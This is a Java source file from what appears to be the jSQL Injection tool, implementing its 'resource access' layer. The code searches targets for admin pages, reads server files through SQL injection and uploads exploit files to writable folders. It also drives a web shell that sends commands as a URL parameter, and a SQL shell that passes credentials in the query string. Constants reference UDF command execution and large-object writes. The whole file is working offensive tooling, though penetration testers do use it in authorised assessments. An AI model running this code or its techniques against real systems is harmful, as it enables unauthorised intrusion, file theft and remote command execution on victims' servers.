1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.accessible;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.vendor.*;
15 import com.jsql.model.bean.database.MockElement;
16 import com.jsql.model.bean.util.Header;
17 import com.jsql.model.bean.util.Interaction;
18 import com.jsql.model.bean.util.Request;
19 import com.jsql.model.exception.JSqlException;
20 import com.jsql.model.suspendable.SuspendableGetRows;
21 import com.jsql.util.ConnectionUtil;
22 import com.jsql.util.LogLevelUtil;
23 import org.apache.commons.lang3.StringUtils;
24 import org.apache.logging.log4j.LogManager;
25 import org.apache.logging.log4j.Logger;
26
27 import java.io.File;
28 import java.io.IOException;
29 import java.io.InputStream;
30 import java.net.URI;
31 import java.net.URLEncoder;
32 import java.net.http.HttpHeaders;
33 import java.net.http.HttpRequest;
34 import java.net.http.HttpRequest.BodyPublishers;
35 import java.net.http.HttpResponse;
36 import java.net.http.HttpResponse.BodyHandlers;
37 import java.nio.charset.StandardCharsets;
38 import java.nio.file.Files;
39 import java.nio.file.Paths;
40 import java.time.Duration;
41 import java.util.*;
42 import java.util.concurrent.CompletionService;
43 import java.util.concurrent.ExecutionException;
44 import java.util.concurrent.ExecutorCompletionService;
45 import java.util.concurrent.ExecutorService;
46 import java.util.function.BinaryOperator;
47 import java.util.regex.Pattern;
48
49
50
51
52
53 public class ResourceAccess {
54
55
56
57
58 private static final Logger LOGGER = LogManager.getRootLogger();
59
60
61
62
63 private boolean isSearchAdminStopped = false;
64
65
66
67
68 private boolean isScanStopped = false;
69
70
71
72
73
74 private boolean isSearchFileStopped = false;
75
76
77
78
79 private final List<CallableFile> callablesReadFile = new ArrayList<>();
80 private final InjectionModel injectionModel;
81 private final ExploitSqlite exploitSqlite;
82 private final ExploitMysql exploitMysql;
83 private final ExploitOracle exploitOracle;
84 private final ExploitPostgres exploitPostgres;
85 private final ExploitHsqldb exploitHsqldb;
86 private final ExploitH2 exploitH2;
87 private final ExploitDerby exploitDerby;
88
89
90 public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
91 public static final String WEB_CONFIRM_RESULT = "133717331";
92 public static final String SQL_CONFIRM_CMD = "select 1337";
93 public static final String SQL_CONFIRM_RESULT = "| 1337 |";
94
95 public static final String SQL_DOT_PHP = "sql.php";
96 public static final String EXPLOIT_DOT_UPL = "exploit.upl";
97 public static final String EXPLOIT_DOT_WEB = "exploit.web";
98 public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
99 public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
100
101 public static final String LOID_NOT_FOUND = "Exploit loid not found";
102 public static final String ADD_LOID = "loid#create";
103 public static final String WRITE_LOID = "loid#write";
104 public static final String READ_LOID = "loid#read";
105
106 public static final String DROP_FUNC = "func#drop";
107 public static final String ADD_FUNC = "body#add-func";
108 public static final String RUN_FUNC = "body#run-func";
109 public static final String BODY_CONFIRM = "body#confirm";
110 public static final String UDF_RUN_CMD = "udf#run-cmd";
111
112 public static final String TBL_CREATE = "tbl#create";
113 public static final String TBL_FILL = "tbl#fill";
114 public static final String TBL_DUMP = "tbl#dump";
115 public static final String TBL_DROP = "tbl#drop";
116 public static final String TBL_READ = "tbl#read";
117
118 public static final String FILE_READ = "file#read";
119
120
121 public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
122
123 public ResourceAccess(InjectionModel injectionModel) {
124 this.injectionModel = injectionModel;
125 this.exploitSqlite = new ExploitSqlite(injectionModel);
126 this.exploitMysql = new ExploitMysql(injectionModel);
127 this.exploitOracle = new ExploitOracle(injectionModel);
128 this.exploitPostgres = new ExploitPostgres(injectionModel);
129 this.exploitHsqldb = new ExploitHsqldb(injectionModel);
130 this.exploitH2 = new ExploitH2(injectionModel);
131 this.exploitDerby = new ExploitDerby(injectionModel);
132 }
133
134
135
136
137
138 public int createAdminPages(String urlInjection, List<String> pageNames) {
139 var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
140 matcher.find();
141 String urlProtocol = matcher.group(1);
142 String urlWithoutProtocol = matcher.group(3);
143
144 List<String> folderSplits = new ArrayList<>();
145
146
147 if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
148 urlWithoutProtocol = "/dummy";
149 }
150 String[] splits = urlWithoutProtocol.split("/", -1);
151 String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
152 for (String folderName: folderNames) {
153 folderSplits.add(folderName +"/");
154 }
155
156 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
157 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
158
159 var urlPart = new StringBuilder();
160 for (String segment: folderSplits) {
161 urlPart.append(segment);
162 for (String pageName: pageNames) {
163 taskCompletionService.submit(
164 new CallableHttpHead(
165 urlProtocol + urlPart + pageName,
166 this.injectionModel,
167 "check:page"
168 )
169 );
170 }
171 }
172
173 var nbAdminPagesFound = 0;
174 int submittedTasks = folderSplits.size() * pageNames.size();
175 int tasksHandled;
176 for (
177 tasksHandled = 0
178 ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
179 ; tasksHandled++
180 ) {
181 nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
182 }
183
184 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
185 this.isSearchAdminStopped = false;
186 this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
187
188 return nbAdminPagesFound;
189 }
190
191 public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
192 int nbAdminPagesFoundFixed = nbAdminPagesFound;
193
194 try {
195 CallableHttpHead currentCallable = taskCompletionService.take().get();
196 if (currentCallable.isHttpResponseOk()) {
197 var request = new Request();
198 request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
199 request.setParameters(currentCallable.getUrl());
200 this.injectionModel.sendToViews(request);
201
202 nbAdminPagesFoundFixed++;
203 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
204 }
205 } catch (InterruptedException e) {
206 LOGGER.log(LogLevelUtil.IGNORE, e, e);
207 Thread.currentThread().interrupt();
208 } catch (ExecutionException e) {
209 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
210 }
211 return nbAdminPagesFoundFixed;
212 }
213
214 public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
215 var result = String.format(
216 "Searched %s/%s page%s: %s found",
217 tasksHandled,
218 submittedTasks,
219 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
220 nbAdminPagesFound
221 );
222
223 if (nbAdminPagesFound > 0) {
224 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
225 } else {
226 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
227 }
228 }
229
230 public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
231 String urlExploitFixed = urlExploit;
232 if (!urlExploitFixed.isEmpty()) {
233 urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
234 }
235 String url = urlExploitFixed;
236 if (StringUtils.isEmpty(url)) {
237 url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
238 }
239 String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
240 String urlProtocol;
241 if ("/".equals(urlWithoutProtocol)) {
242 urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
243 } else {
244 urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
245 }
246
247 List<String> directoryNames = new ArrayList<>();
248 String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
249 if (urlWithoutFileName.split("/").length == 0) {
250 directoryNames.add("/");
251 }
252 for (String directoryName: urlWithoutFileName.split("/")) {
253 directoryNames.add(directoryName +"/");
254 }
255 String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
256 if (urlSuccess != null) {
257 urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
258 } else {
259 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
260 }
261 return urlSuccess;
262 }
263
264 private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
265 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetExploitUrl");
266 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
267 var urlPart = new StringBuilder();
268
269 for (String segment: directoryNames) {
270 urlPart.append(segment);
271 taskCompletionService.submit(
272 new CallableHttpHead(
273 urlProtocol + urlPart + filename,
274 this.injectionModel,
275 "xplt#confirm-url"
276 )
277 );
278 }
279
280 String urlSuccess = null;
281 int submittedTasks = directoryNames.size();
282 for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
283 try {
284 CallableHttpHead currentCallable = taskCompletionService.take().get();
285 if (currentCallable.isHttpResponseOk()) {
286 urlSuccess = currentCallable.getUrl();
287 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
288 break;
289 }
290 } catch (InterruptedException e) {
291 LOGGER.log(LogLevelUtil.IGNORE, e, e);
292 Thread.currentThread().interrupt();
293 } catch (ExecutionException e) {
294 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
295 }
296 }
297
298 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
299 return urlSuccess;
300 }
301
302 public String callCommand(String urlCommand) {
303 return this.callCommand(urlCommand, false);
304 }
305
306 public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
307 String pageSource;
308 try {
309 pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand, isConnectIssueIgnored);
310 } catch (Exception e) {
311 pageSource = StringUtils.EMPTY;
312 }
313
314 var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
315 regexSearch.find();
316
317 String result;
318
319 try {
320 result = regexSearch.group(1);
321 } catch (IllegalStateException e) {
322 result = StringUtils.EMPTY;
323 if (!isConnectIssueIgnored) {
324 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
325 }
326 }
327 return result;
328 }
329
330
331
332
333
334
335
336 public String runWebShell(String command, UUID uuidShell, String urlExploit) {
337 return this.runWebShell(command, uuidShell, urlExploit, false);
338 }
339 public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
340 String result = this.callCommand(
341 urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
342 isConnectIssueIgnored
343 );
344 if (StringUtils.isBlank(result)) {
345 result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
346 }
347 var request = new Request();
348 request.setMessage(Interaction.GET_TERMINAL_RESULT);
349 request.setParameters(uuidShell, result);
350 this.injectionModel.sendToViews(request);
351 return result;
352 }
353
354
355
356
357
358
359
360
361
362 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
363 return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
364 }
365
366 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
367 String result = this.callCommand(String.format(
368 "%s?q=%s&u=%s&p=%s",
369 urlExploit,
370 URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
371 username,
372 password
373 ));
374
375 if (result.contains("<SQLr>")) {
376 List<List<String>> listRows = this.parse(result);
377 if (listRows.isEmpty()) {
378 result = "Result not found: check your credentials or review logs in tab Network\n";
379 } else {
380 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
381 result = this.convert(listRows, listFieldsLength);
382 }
383 } else if (result.contains("<SQLm>")) {
384 result = result.replace("<SQLm>", StringUtils.EMPTY) +"\n";
385 } else if (result.contains("<SQLe>")) {
386 result = result.replace("<SQLe>", StringUtils.EMPTY) +"\n";
387 }
388
389 if (isResultSentToView) {
390 var request = new Request();
391 request.setMessage(Interaction.GET_TERMINAL_RESULT);
392 request.setParameters(uuidShell, result, command);
393 this.injectionModel.sendToViews(request);
394 }
395 return result;
396 }
397
398 private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
399 var tableText = new StringBuilder("+");
400 for (Integer fieldLength: listFieldsLength) {
401 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
402 }
403 tableText.append("\n");
404 for (List<String> listFields: listRows) {
405 tableText.append("|");
406 var cursorPosition = 0;
407 for (String field: listFields) {
408 tableText.append(StringUtils.SPACE)
409 .append(field)
410 .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
411 .append(" |");
412 cursorPosition++;
413 }
414 tableText.append("\n");
415 }
416 tableText.append("+");
417 for (Integer fieldLength: listFieldsLength) {
418 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
419 }
420 tableText.append("\n");
421 return tableText.toString();
422 }
423
424 private List<Integer> parseColumnLength(List<List<String>> listRows) {
425 List<Integer> listFieldsLength = new ArrayList<>();
426 for (
427 var indexLongestRowSearch = 0;
428 indexLongestRowSearch < listRows.get(0).size();
429 indexLongestRowSearch++
430 ) {
431 int indexLongestRowSearchFinal = indexLongestRowSearch;
432 listRows.sort(
433 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
434 );
435 listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
436 }
437 return listFieldsLength;
438 }
439
440 private List<List<String>> parse(String result) {
441 List<List<String>> listRows = new ArrayList<>();
442 var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
443 while (rowsMatcher.find()) {
444 String values = rowsMatcher.group(1);
445 var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
446 List<String> listFields = new ArrayList<>();
447 listRows.add(listFields);
448
449 while (fieldsMatcher.find()) {
450 String field = fieldsMatcher.group(1);
451 listFields.add(field);
452 }
453 }
454 return listRows;
455 }
456
457 public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
458 var crLf = "\r\n";
459 var boundary = "---------------------------4664151417711";
460
461 var streamData = new byte[streamToUpload.available()];
462 if (streamToUpload.read(streamData) == -1) {
463 throw new JSqlException("Error reading the file");
464 }
465
466 String headerForm = StringUtils.EMPTY;
467 headerForm += "--"+ boundary + crLf;
468 headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
469 headerForm += "Content-Type: binary/octet-stream"+ crLf;
470 headerForm += crLf;
471
472 String headerFile = StringUtils.EMPTY;
473 headerFile += crLf +"--"+ boundary +"--"+ crLf;
474
475 var httpRequest = HttpRequest.newBuilder()
476 .uri(URI.create(url))
477 .timeout(Duration.ofSeconds(15))
478 .POST(BodyPublishers.ofByteArrays(
479 Arrays.asList(
480 headerForm.getBytes(StandardCharsets.UTF_8),
481 Files.readAllBytes(Paths.get(file.toURI())),
482 headerFile.getBytes(StandardCharsets.UTF_8)
483 )
484 ))
485 .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
486 .build();
487
488 var response = this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
489 HttpHeaders httpHeaders = response.headers();
490 String pageSource = response.body();
491
492 Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
493 msgHeader.put(Header.URL, url);
494 msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
495 msgHeader.put(Header.RESPONSE, ConnectionUtil.getHeadersMap(httpHeaders));
496 msgHeader.put(Header.SOURCE, pageSource);
497 msgHeader.put(Header.METADATA_PROCESS, "upl#multipart");
498 var request = new Request();
499 request.setMessage(Interaction.MESSAGE_HEADER);
500 request.setParameters(msgHeader);
501 this.injectionModel.sendToViews(request);
502 return response;
503 }
504
505
506
507
508
509
510 public boolean isMysqlReadDenied() throws JSqlException {
511 var sourcePage = new String[]{ StringUtils.EMPTY };
512 String resultInjection = new SuspendableGetRows(this.injectionModel).run(
513 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
514 sourcePage,
515 false,
516 1,
517 MockElement.MOCK,
518 "privilege"
519 );
520
521 boolean readingIsAllowed = false;
522
523 if (StringUtils.isEmpty(resultInjection)) {
524 this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
525 var request = new Request();
526 request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
527 this.injectionModel.sendToViews(request);
528 } else if ("false".equals(resultInjection)) {
529 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
530 var request = new Request();
531 request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
532 this.injectionModel.sendToViews(request);
533 } else {
534 var request = new Request();
535 request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
536 this.injectionModel.sendToViews(request);
537 readingIsAllowed = true;
538 }
539
540 return !readingIsAllowed;
541 }
542
543
544
545
546
547
548
549
550
551
552 public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
553 if (
554 this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
555 && this.isMysqlReadDenied()
556 ) {
557 return Collections.emptyList();
558 }
559
560 var countFileFound = 0;
561 var results = new ArrayList<String>();
562
563 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
564 CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
565
566 for (String pathFile: pathsFiles) {
567 var callableFile = new CallableFile(pathFile, this.injectionModel);
568 taskCompletionService.submit(callableFile);
569 this.callablesReadFile.add(callableFile);
570 }
571
572 List<String> duplicate = new ArrayList<>();
573 int submittedTasks = pathsFiles.size();
574 int tasksHandled;
575
576 for (
577 tasksHandled = 0
578 ; tasksHandled < submittedTasks && !this.isSearchFileStopped
579 ; tasksHandled++
580 ) {
581 var currentCallable = taskCompletionService.take().get();
582 if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
583 var name = currentCallable.getPathFile().substring(
584 currentCallable.getPathFile().lastIndexOf('/') + 1
585 );
586 String content = currentCallable.getSourceFile();
587 String path = currentCallable.getPathFile();
588
589 var request = new Request();
590 request.setMessage(Interaction.CREATE_FILE_TAB);
591 request.setParameters(name, content, path);
592 this.injectionModel.sendToViews(request);
593
594 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
595 LOGGER.log(
596 LogLevelUtil.CONSOLE_INFORM,
597 "Folder exploit candidate: {}",
598 () -> path.replace(name, StringUtils.EMPTY)
599 );
600 }
601
602 duplicate.add(path.replace(name, StringUtils.EMPTY));
603 results.add(content);
604
605 countFileFound++;
606 }
607 }
608
609
610 for (CallableFile callableReadFile: this.callablesReadFile) {
611 callableReadFile.getSuspendableReadFile().stop();
612 }
613 this.callablesReadFile.clear();
614 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
615 this.isSearchFileStopped = false;
616
617 var result = String.format(
618 "Searched %s/%s file%s: %s found",
619 tasksHandled,
620 submittedTasks,
621 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
622 countFileFound
623 );
624
625 if (countFileFound > 0) {
626 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
627 } else {
628 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
629 }
630 return results;
631 }
632
633 public String getResult(String query, String metadata) throws JSqlException {
634 var sourcePage = new String[]{ StringUtils.EMPTY };
635 return new SuspendableGetRows(this.injectionModel).run(
636 query,
637 sourcePage,
638 false,
639 0,
640 MockElement.MOCK,
641 metadata
642 );
643 }
644
645 public String getResultWithCatch(String query, String metadata) {
646 var sourcePage = new String[]{ StringUtils.EMPTY };
647 try {
648 return new SuspendableGetRows(this.injectionModel).run(
649 query,
650 sourcePage,
651 false,
652 0,
653 MockElement.MOCK,
654 metadata
655 );
656 } catch (JSqlException ignored) {
657 return StringUtils.EMPTY;
658 }
659 }
660
661
662
663
664
665
666 public void stopSearchFile() {
667 this.isSearchFileStopped = true;
668 for (CallableFile callable: this.callablesReadFile) {
669 callable.getSuspendableReadFile().stop();
670 }
671 }
672
673 public void stopSearchAdmin() {
674 this.isSearchAdminStopped = true;
675 }
676
677
678
679
680 public ExploitSqlite getExploitSqlite() {
681 return this.exploitSqlite;
682 }
683
684 public ExploitMysql getExploitMysql() {
685 return this.exploitMysql;
686 }
687
688 public ExploitOracle getExploitOracle() {
689 return this.exploitOracle;
690 }
691
692 public ExploitPostgres getExploitPostgres() {
693 return this.exploitPostgres;
694 }
695
696 public boolean isSearchAdminStopped() {
697 return this.isSearchAdminStopped;
698 }
699
700 public void setScanStopped(boolean isScanStopped) {
701 this.isScanStopped = isScanStopped;
702 }
703
704 public boolean isScanStopped() {
705 return this.isScanStopped;
706 }
707
708 public ExploitHsqldb getExploitHsqldb() {
709 return this.exploitHsqldb;
710 }
711
712 public ExploitH2 getExploitH2() {
713 return this.exploitH2;
714 }
715
716 public ExploitDerby getExploitDerby() {
717 return this.exploitDerby;
718 }
719 }